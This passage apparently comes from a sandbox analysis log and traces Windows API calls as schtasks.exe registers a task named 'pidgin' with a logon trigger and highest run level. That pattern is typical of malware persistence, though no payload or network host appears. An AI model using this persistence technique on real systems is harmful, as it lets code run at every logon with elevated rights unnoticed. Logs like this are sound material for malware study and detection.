_Size=0x7) returned 0 [0112.058] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.058] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|ed|") returned 4 [0112.058] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.058] lstrlenW (lpString="|ed|") returned 4 [0112.058] lstrlenW (lpString="|f|") returned 3 [0112.058] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0112.058] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.058] lstrlenW (lpString="it") returned 2 [0112.058] lstrlenW (lpString="it") returned 2 [0112.058] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.058] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.058] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|it|") returned 4 [0112.058] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.059] lstrlenW (lpString="|it|") returned 4 [0112.059] lstrlenW (lpString="|f|") returned 3 [0112.059] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0112.059] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.059] lstrlenW (lpString="et") returned 2 [0112.059] lstrlenW (lpString="et") returned 2 [0112.059] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.059] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.059] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|et|") returned 4 [0112.059] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.059] lstrlenW (lpString="|et|") returned 4 [0112.059] lstrlenW (lpString="|f|") returned 3 [0112.059] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0112.059] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.059] lstrlenW (lpString="k") returned 1 [0112.059] lstrlenW (lpString="k") returned 1 [0112.059] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.059] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.059] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|k|") returned 3 [0112.059] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.059] lstrlenW (lpString="|k|") returned 3 [0112.059] lstrlenW (lpString="|f|") returned 3 [0112.059] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0112.060] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.060] lstrlenW (lpString="du") returned 2 [0112.060] lstrlenW (lpString="du") returned 2 [0112.060] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.060] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.060] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|du|") returned 4 [0112.060] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.060] lstrlenW (lpString="|du|") returned 4 [0112.060] lstrlenW (lpString="|f|") returned 3 [0112.060] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0112.060] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.060] lstrlenW (lpString="ri") returned 2 [0112.060] lstrlenW (lpString="ri") returned 2 [0112.060] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.060] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.060] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|ri|") returned 4 [0112.062] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.062] lstrlenW (lpString="|ri|") returned 4 [0112.062] lstrlenW (lpString="|f|") returned 3 [0112.062] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0112.062] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.062] lstrlenW (lpString="z") returned 1 [0112.062] lstrlenW (lpString="z") returned 1 [0112.062] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.062] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.062] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|z|") returned 3 [0112.062] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.062] lstrlenW (lpString="|z|") returned 3 [0112.062] lstrlenW (lpString="|f|") returned 3 [0112.062] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0112.062] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.062] lstrlenW (lpString="f") returned 1 [0112.063] lstrlenW (lpString="f") returned 1 [0112.063] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.063] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.063] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.063] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.063] lstrlenW (lpString="|f|") returned 3 [0112.063] lstrlenW (lpString="|f|") returned 3 [0112.063] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0112.063] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.063] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.063] GetProcessHeap () returned 0x144ec910000 [0112.063] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b770 [0112.063] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.063] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0112.063] lstrlenW (lpString="LIMITED") returned 7 [0112.063] GetProcessHeap () returned 0x144ec910000 [0112.063] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x10) returned 0x144ec91ab30 [0112.063] GetThreadLocale () returned 0x409 [0112.063] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0112.063] GetProcessHeap () returned 0x144ec910000 [0112.063] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91ba70 [0112.063] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.063] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0112.063] lstrlenW (lpString="HIGHEST") returned 7 [0112.063] GetProcessHeap () returned 0x144ec910000 [0112.063] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x10) returned 0x144ec91aa10 [0112.064] GetThreadLocale () returned 0x409 [0112.064] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0112.064] GetProcessHeap () returned 0x144ec910000 [0112.064] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91bb30 [0112.064] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.064] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0112.064] lstrlenW (lpString="MINUTE") returned 6 [0112.064] GetProcessHeap () returned 0x144ec910000 [0112.064] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0xe) returned 0x144ec91a910 [0112.064] GetThreadLocale () returned 0x409 [0112.064] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0112.064] GetProcessHeap () returned 0x144ec910000 [0112.064] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b6e0 [0112.064] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.064] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0112.064] lstrlenW (lpString="HOURLY") returned 6 [0112.064] GetProcessHeap () returned 0x144ec910000 [0112.064] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0xe) returned 0x144ec91ac70 [0112.064] GetThreadLocale () returned 0x409 [0112.064] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0112.064] GetProcessHeap () returned 0x144ec910000 [0112.064] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b440 [0112.064] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.064] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0112.065] lstrlenW (lpString="DAILY") returned 5 [0112.065] GetProcessHeap () returned 0x144ec910000 [0112.065] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0xc) returned 0x144ec91ab50 [0112.065] GetThreadLocale () returned 0x409 [0112.065] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0112.065] GetProcessHeap () returned 0x144ec910000 [0112.065] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b800 [0112.065] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.065] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0112.065] lstrlenW (lpString="WEEKLY") returned 6 [0112.065] GetProcessHeap () returned 0x144ec910000 [0112.065] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0xe) returned 0x144ec91a990 [0112.065] GetThreadLocale () returned 0x409 [0112.065] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0112.065] GetProcessHeap () returned 0x144ec910000 [0112.065] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91bad0 [0112.065] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.065] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0112.065] lstrlenW (lpString="MONTHLY") returned 7 [0112.065] GetProcessHeap () returned 0x144ec910000 [0112.065] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x10) returned 0x144ec91ab70 [0112.065] GetThreadLocale () returned 0x409 [0112.065] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0112.065] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.065] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0112.066] lstrlenW (lpString="ONCE") returned 4 [0112.066] GetProcessHeap () returned 0x144ec910000 [0112.066] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0xa) returned 0x144ec91aa30 [0112.066] GetThreadLocale () returned 0x409 [0112.066] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0112.066] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.066] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0112.066] lstrlenW (lpString="ONSTART") returned 7 [0112.066] GetThreadLocale () returned 0x409 [0112.066] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0112.066] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.066] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0112.066] lstrlenW (lpString="ONLOGON") returned 7 [0112.066] GetThreadLocale () returned 0x409 [0112.066] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0112.066] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.066] GetProcessHeap () returned 0x144ec910000 [0112.066] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x1fc) returned 0x144ec91acb0 [0112.066] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.067] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0112.067] lstrlenW (lpString="First") returned 5 [0112.067] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.067] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0112.067] lstrlenW (lpString="Second") returned 6 [0112.067] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.067] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0112.067] lstrlenW (lpString="Third") returned 5 [0112.067] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.067] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0112.067] lstrlenW (lpString="Fourth") returned 6 [0112.067] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.067] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0112.067] lstrlenW (lpString="Last") returned 4 [0112.067] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.067] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0112.067] lstrlenW (lpString="First") returned 5 [0112.067] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.067] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0112.067] lstrlenW (lpString="Second") returned 6 [0112.067] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.068] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0112.068] lstrlenW (lpString="Third") returned 5 [0112.068] GetProcessHeap () returned 0x144ec910000 [0112.068] GetProcessHeap () returned 0x144ec910000 [0112.068] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91aa30) returned 1 [0112.068] GetProcessHeap () returned 0x144ec910000 [0112.068] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91aa30) returned 0xa [0112.068] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91aa30) returned 1 [0112.068] GetProcessHeap () returned 0x144ec910000 [0112.068] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0xc) returned 0x144ec91ab90 [0112.068] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.068] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0112.068] lstrlenW (lpString="Fourth") returned 6 [0112.068] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.068] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0112.068] lstrlenW (lpString="Last") returned 4 [0112.068] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x28fa76c650, cchData=128 | out: lpLCData="0") returned 2 [0112.068] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.069] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0112.069] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0112.069] GetProcessHeap () returned 0x144ec910000 [0112.069] GetProcessHeap () returned 0x144ec910000 [0112.069] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91ab30) returned 1 [0112.069] GetProcessHeap () returned 0x144ec910000 [0112.069] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91ab30) returned 0x10 [0112.069] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91ab30) returned 1 [0112.069] GetProcessHeap () returned 0x144ec910000 [0112.069] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x16) returned 0x144ec91abb0 [0112.069] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x28fa76c670, cchData=128 | out: lpLCData="0") returned 2 [0112.069] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.069] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0112.069] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0112.069] GetProcessHeap () returned 0x144ec910000 [0112.069] GetProcessHeap () returned 0x144ec910000 [0112.069] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91aa10) returned 1 [0112.069] GetProcessHeap () returned 0x144ec910000 [0112.069] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91aa10) returned 0x10 [0112.069] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91aa10) returned 1 [0112.069] GetProcessHeap () returned 0x144ec910000 [0112.069] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x16) returned 0x144ec91aab0 [0112.069] GetLocalTime (in: lpSystemTime=0x28fa76c8a8 | out: lpSystemTime=0x28fa76c8a8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x23, wMilliseconds=0x1b8)) [0112.070] GetLocalTime (in: lpSystemTime=0x28fa76d298 | out: lpSystemTime=0x28fa76d298*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x23, wMilliseconds=0x1b8)) [0112.070] lstrlenW (lpString="") returned 0 [0112.070] lstrlenW (lpString="") returned 0 [0112.070] lstrlenW (lpString="") returned 0 [0112.070] lstrlenW (lpString="") returned 0 [0112.070] lstrlenW (lpString="") returned 0 [0112.070] lstrlenW (lpString="") returned 0 [0112.070] lstrlenW (lpString="") returned 0 [0112.070] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0112.097] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0112.680] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x28fa76cff0 | out: ppv=0x28fa76cff0*=0x144eca856e0) returned 0x0 [0112.911] TaskScheduler:ITaskService:Connect (This=0x144eca856e0, serverName=0x28fa76d0e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x28fa76d0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x28fa76d090*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x28fa76d070*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0113.265] TaskScheduler:ITaskService:GetFolder (in: This=0x144eca856e0, Path=0x0, ppFolder=0x28fa76d1d0 | out: ppFolder=0x28fa76d1d0*=0x144eca85830) returned 0x0 [0113.268] TaskScheduler:ITaskService:NewTask (in: This=0x144eca856e0, flags=0x0, ppDefinition=0x28fa76d1a8 | out: ppDefinition=0x28fa76d1a8*=0x144eca858b0) returned 0x0 [0113.268] ITaskDefinition:get_Actions (in: This=0x144eca858b0, ppActions=0x28fa76d0f0 | out: ppActions=0x28fa76d0f0*=0x144eca85940) returned 0x0 [0113.268] IActionCollection:Create (in: This=0x144eca85940, Type=0, ppAction=0x28fa76d130 | out: ppAction=0x28fa76d130*=0x144eca85d50) returned 0x0 [0113.269] IUnknown:Release (This=0x144eca85d50) returned 0x1 [0113.269] IUnknown:Release (This=0x144eca85940) returned 0x1 [0113.269] ITaskDefinition:get_Triggers (in: This=0x144eca858b0, ppTriggers=0x28fa76cca0 | out: ppTriggers=0x28fa76cca0*=0x144eca85c00) returned 0x0 [0113.269] ITriggerCollection:Create (in: This=0x144eca85c00, Type=9, ppTrigger=0x28fa76cc88 | out: ppTrigger=0x28fa76cc88*=0x144eca85de0) returned 0x0 [0113.269] IUnknown:QueryInterface (in: This=0x144eca85de0, riid=0x7ff685138a30*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x28fa76cc80 | out: ppvObject=0x28fa76cc80*=0x144eca85de0) returned 0x0 [0113.269] IUnknown:Release (This=0x144eca85de0) returned 0x2 [0113.270] _vsnwprintf (in: _Buffer=0x28fa76cbd0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x28fa76cba8 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0113.270] ITrigger:put_StartBoundary (This=0x144eca85de0, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0113.270] lstrlenW (lpString="") returned 0 [0113.270] lstrlenW (lpString="") returned 0 [0113.270] lstrlenW (lpString="") returned 0 [0113.270] lstrlenW (lpString="") returned 0 [0113.270] IUnknown:Release (This=0x144eca85de0) returned 0x1 [0113.270] IUnknown:Release (This=0x144eca85c00) returned 0x1 [0113.270] ITaskDefinition:get_Settings (in: This=0x144eca858b0, ppSettings=0x28fa76d130 | out: ppSettings=0x28fa76d130*=0x144eca85a80) returned 0x0 [0113.270] lstrlenW (lpString="") returned 0 [0113.270] IUnknown:Release (This=0x144eca85a80) returned 0x3 [0113.270] GetLocalTime (in: lpSystemTime=0x28fa76cfe8 | out: lpSystemTime=0x28fa76cfe8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x24, wMilliseconds=0x283)) [0113.270] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0113.271] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x28fa76d000, nSize=0x28fa76cfd8 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x28fa76cfd8) returned 0x1 [0113.271] ITaskDefinition:get_RegistrationInfo (in: This=0x144eca858b0, ppRegistrationInfo=0x28fa76cfd0 | out: ppRegistrationInfo=0x28fa76cfd0*=0x144eca859c0) returned 0x0 [0113.271] IRegistrationInfo:put_Author (This=0x144eca859c0, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0113.271] _vsnwprintf (in: _Buffer=0x28fa76d000, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x28fa76cf98 | out: _Buffer="2023-09-19T17:15:36") returned 19 [0113.272] IRegistrationInfo:put_Date (This=0x144eca859c0, Date="2023-09-19T17:15:36") returned 0x0 [0113.272] IUnknown:Release (This=0x144eca859c0) returned 0x1 [0113.272] malloc (_Size=0x18) returned 0x144eca85f00 [0113.272] free (_Block=0x144eca85f00) [0113.272] lstrlenW (lpString="") returned 0 [0113.272] ITaskDefinition:get_Principal (in: This=0x144eca858b0, ppPrincipal=0x28fa76d198 | out: ppPrincipal=0x28fa76d198*=0x144eca85c70) returned 0x0 [0113.272] IPrincipal:put_RunLevel (This=0x144eca85c70, RunLevel=1) returned 0x0 [0113.272] IUnknown:Release (This=0x144eca85c70) returned 0x1 [0113.272] malloc (_Size=0x18) returned 0x144eca85f00 [0113.272] ITaskFolder:RegisterTaskDefinition (in: This=0x144eca85830, Path="pidgin", pDefinition=0x144eca858b0, flags=6, UserId=0x28fa76d240*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x28fa76d220*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x28fa76d260*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x28fa76d200 | out: ppTask=0x28fa76d200*=0x144eca86fd0) returned 0x0 [0113.543] free (_Block=0x144eca85f00) [0113.543] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.543] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0113.543] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0113.543] GetProcessHeap () returned 0x144ec910000 [0113.543] 